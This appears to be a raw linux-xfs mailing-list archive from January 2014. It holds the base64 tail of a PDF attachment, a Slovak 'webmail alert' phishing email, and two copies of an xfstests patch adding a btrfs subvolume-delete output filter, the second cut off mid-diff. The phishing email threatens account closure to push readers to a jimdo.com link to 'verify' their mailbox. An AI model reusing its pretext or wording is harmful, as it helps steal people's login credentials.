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 H8rknlsKZW5kc3RyZWFtCmVuZG9iagozIDAgb2JqCjw8L0xlbmd0aCA2OC9GaWx0ZXIvRmxhdGVE ZWNvZGU+PnN0cmVhbQp4nCvkKlQwtTRVMABCCxNDPVMTEFPPyMjCzFAhOVdBPzM33UDBJV8hkCuQ q5DLKYTL2EzBwsBMISSFyzUEKAYAyoEN7AplbmRzdHJlYW0KZW5kb2JqCjUgMCBvYmoKPDwvVHlw ZS9QYWdlL01lZGlhQm94WzAgMCA1OTUgODQyXS9SZXNvdXJjZXM8PC9Qcm9jU2V0IFsvUERGIC9U ZXh0IC9JbWFnZUIgL0ltYWdlQyAvSW1hZ2VJXS9YT2JqZWN0PDwvaW1nMCAyIDAgUj4+Pj4vQ29u dGVudHMgMyAwIFIvUGFyZW50IDQgMCBSPj4KZW5kb2JqCjQgMCBvYmoKPDwvVHlwZS9QYWdlcy9D b3VudCAxL0tpZHNbNSAwIFJdL0lUWFQoNS4xLjMpPj4KZW5kb2JqCjYgMCBvYmoKPDwvVHlwZS9D YXRhbG9nL1BhZ2VzIDQgMCBSPj4KZW5kb2JqCjcgMCBvYmoKPDwvUHJvZHVjZXIoY29udmVydGZp bGVvbmxpbmUuY29tKS9DcmVhdGlvbkRhdGUoRDoyMDE0MDExNTA5MDQxOSswMScwMCcpL01vZERh dGUoRDoyMDE0MDExNTA5MDQxOSswMScwMCcpPj4KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAg NjU1MzUgZiAKMDAwMDAwMDAxNSAwMDAwMCBuIAowMDAwMDAyNzAzIDAwMDAwIG4gCjAwMDAwMzMw MjYgMDAwMDAgbiAKMDAwMDAzMzMyMiAwMDAwMCBuIAowMDAwMDMzMTYwIDAwMDAwIG4gCjAwMDAw MzMzODUgMDAwMDAgbiAKMDAwMDAzMzQzMCAwMDAwMCBuIAp0cmFpbGVyCjw8L1NpemUgOC9Sb290 IDYgMCBSL0luZm8gNyAwIFIvSUQgWzw5YTZkYzFkNWRhMWQyMThkZDhiMTIwOTM4NWU3NzRhYT48 YjQ3OGYyMGM3YjU3OGNiNzkyYmYwMTZiNDc0OTM2YWI+XT4+CnN0YXJ0eHJlZgozMzU1MwolJUVP Rgo= ------=_NextPart_000_081E_01CF125D.E71D9D90-- From riaditel@prikrizi.sk Wed Jan 15 19:38:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RCVD_NUMERIC_HELO autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 455E929DF8 for ; Wed, 15 Jan 2014 19:38:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3532B8F8033 for ; Wed, 15 Jan 2014 17:38:08 -0800 (PST) X-ASG-Debug-ID: 1389836282-04bdf00fe27069e0001-w1Z2WR Received: from server7.irisoft.sk (server7.irisoft.sk [82.208.18.12]) by cuda.sgi.com with ESMTP id nEHbo2A54yODFQhF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 17:38:03 -0800 (PST) X-Barracuda-Envelope-From: riaditel@prikrizi.sk X-Barracuda-Apparent-Source-IP: 82.208.18.12 Received: (qmail 8414 invoked from network); 16 Jan 2014 01:14:45 -0000 Received: from localhost (HELO 82.208.18.12) (5388@clen.sksi.sk@127.0.0.1) by localhost with ESMTPA; 16 Jan 2014 01:14:45 -0000 Received: from 41.71.185.141 (SquirrelMail authenticated user 5388@clen.sksi.sk) by 82.208.18.12 with HTTP; Thu, 16 Jan 2014 02:14:45 +0100 (CET) Message-ID: Date: Thu, 16 Jan 2014 02:14:45 +0100 (CET) Subject: =?iso-8859-2?Q?V=E1=BEen=ED_E-mail_u=BE=EDvate=B5a;?= From: "webmail alert 2014" X-ASG-Orig-Subj: =?iso-8859-2?Q?V=E1=BEen=ED_E-mail_u=BE=EDvate=B5a;?= User-Agent: SquirrelMail/1.4.16 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: server7.irisoft.sk[82.208.18.12] X-Barracuda-Start-Time: 1389836283 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.46 X-Barracuda-Spam-Status: No, SCORE=2.46 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144128 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO To: undisclosed-recipients:; Ven E-mail uvatea; Prekroili ste 23432 boxy nastavi svoje Webov sluba / Administrtor, a budete ma problmy pri odosielan a prijma e-maily, km znova overi. Muste aktualizova kliknutm na odkaz niie a vyplte daje pre overenie vho tu Prosm,na odkaz niie alebo skoprova vloi do e-prehliada pre overenie Schrnky. http://webmail345654.jimdo.com/ Pozor! Ak tak neurobte, bud ma obmedzen prstup k e-mailu schrnky. Ak sa nepodar aktualizova svoj ​​et do troch dn od aktualizcie oznmenia, bude v et natrvalo uzavret. S pozdravom, System Administrator ® From anand.jain@oracle.com Wed Jan 15 20:54:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 603C029DF8 for ; Wed, 15 Jan 2014 20:54:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43A7C304084 for ; Wed, 15 Jan 2014 18:54:04 -0800 (PST) X-ASG-Debug-ID: 1389840842-04bdf00fdf7086b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id QniW2JVpdRx5Yo07 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 18:54:03 -0800 (PST) X-Barracuda-Envelope-From: anand.jain@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0G2s0Qn014341 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Jan 2014 02:54:00 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0G2rxT2029232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Thu, 16 Jan 2014 02:54:00 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0G2rwJL029966; Thu, 16 Jan 2014 02:53:59 GMT Received: from wish.sg.oracle.com (/10.186.101.18) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 15 Jan 2014 18:53:58 -0800 From: Anand Jain To: xfs@oss.sgi.com Cc: lin^C-btrfs@vger.kernel.org, wangshilong1991@gmail.com, dsterba@suse.cz Subject: [PATCH 1/2 v3] xfstests: make btrfs/001.out in line with subvol delete output Date: Thu, 16 Jan 2014 11:03:15 +0800 X-ASG-Orig-Subj: [PATCH 1/2 v3] xfstests: make btrfs/001.out in line with subvol delete output Message-Id: <1389841395-8935-1-git-send-email-anand.jain@oracle.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> References: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389840843 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144130 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines From: Anand Jain btrfs/001 is failing as the below btrfs-progs patch changed the output during subvol delete. Patch : btrfs-progs: add options to set commit mode after subvol delete adding it to the filter Signed-off-by: Anand Jain --- v3: takes in David suggested v2: accepts Wang suggested common/filter.btrfs | 10 ++++++++++ tests/btrfs/001 | 3 ++- 2 files changed, 12 insertions(+), 1 deletions(-) diff --git a/common/filter.btrfs b/common/filter.btrfs index 29512cd..b81ac49 100644 --- a/common/filter.btrfs +++ b/common/filter.btrfs @@ -56,5 +56,15 @@ _filter_btrfs_device_stats() sed -e "s/ *$NUMDEVS / /g" } +_filter_transcation_commit_default() { + sed -e "/Transaction commit: none (default)/d" +} + +_filter_btrfs_subvol_delete() +{ + _filter_scratch | _filter_transcation_commit_default + +} + # make sure this script returns success /bin/true diff --git a/tests/btrfs/001 b/tests/btrfs/001 index c05d772..8258d06 100755 --- a/tests/btrfs/001 +++ b/tests/btrfs/001 @@ -40,6 +40,7 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/filter.btrfs # real QA test starts here _supported_fs btrfs @@ -98,7 +99,7 @@ echo "Listing subvolumes" $BTRFS_UTIL_PROG subvolume list $SCRATCH_MNT | awk '{ print $NF }' # Delete the snapshot -$BTRFS_UTIL_PROG subvolume delete $SCRATCH_MNT/snap | _filter_scratch +$BTRFS_UTIL_PROG subvolume delete $SCRATCH_MNT/snap | _filter_btrfs_subvol_delete echo "List root dir" ls $SCRATCH_MNT _scratch_remount -- 1.7.1 From anand.jain@oracle.com Wed Jan 15 20:55:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0D03829DF8 for ; Wed, 15 Jan 2014 20:55:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7C02FAC004 for ; Wed, 15 Jan 2014 18:55:22 -0800 (PST) X-ASG-Debug-ID: 1389840920-04cbb04169e03160001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id xEwICBHywgBAPtZX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 18:55:21 -0800 (PST) X-Barracuda-Envelope-From: anand.jain@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0G2tIAV005159 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Jan 2014 02:55:19 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0G2tHgo021383 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Jan 2014 02:55:18 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0G2tHUo003249; Thu, 16 Jan 2014 02:55:17 GMT Received: from wish.sg.oracle.com (/10.186.101.18) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 15 Jan 2014 18:55:16 -0800 From: Anand Jain To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, wangshilong1991@gmail.com, dsterba@suse.cz Subject: [PATCH 1/2 v3] xfstests: make btrfs/001.out in line with subvol delete output Date: Thu, 16 Jan 2014 11:04:36 +0800 X-ASG-Orig-Subj: [PATCH 1/2 v3] xfstests: make btrfs/001.out in line with subvol delete output Message-Id: <1389841476-8985-1-git-send-email-anand.jain@oracle.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> References: <1389618990-24544-1-git-send-email-anand.jain@oracle.com> X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389840921 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144130 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines From: Anand Jain btrfs/001 is failing as the below btrfs-progs patch changed the output during subvol delete. Patch : btrfs-progs: add options to set commit mode after subvol delete adding it to the filter Signed-off-by: Anand Jain --- v3: takes in David suggested v2: accepts Wang suggested common/filter.btrfs | 10 ++++++++++ tests/btrfs/001 | 3 ++- 2 files changed, 12 insertions(+), 1 deletions(-) diff --git a/common/filter.btrfs b/common/filter.btrfs index 29512cd..b81ac49 100644 --- a/common/filter.btrfs +++ b/common/filter.btrfs @@ -56,5 +56,15 @@ _filter_btrfs_device_stats() sed -e "s/ *$NUMDEVS / /g" } +_filter_transcation_commit_default() { + sed -e "/Transaction commit: none (default)/d" +} + +_filter_btrfs_subvol_delete() +{ + _filter_scratch | _filter_transcation_commit_default + +} + # make sure this script returns success /bin/true diff --git a/tests/btrfs/001 b/tests/btrfs/001 index c05d772..8258d06 100755 --- a/tests/btrfs/001 +++ b/tests/btrfs/001 @@ -40,6 +40,7 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/filter.btrfs # real QA test starts here _supported_fs btrfs @@ -98,7 +99,7 @@ echo "Listing subvolumes" $BTRFS_UTIL_PROG subvolume list $SCRATCH_MNT | awk '{ print $NF }' # Delete the snapshot 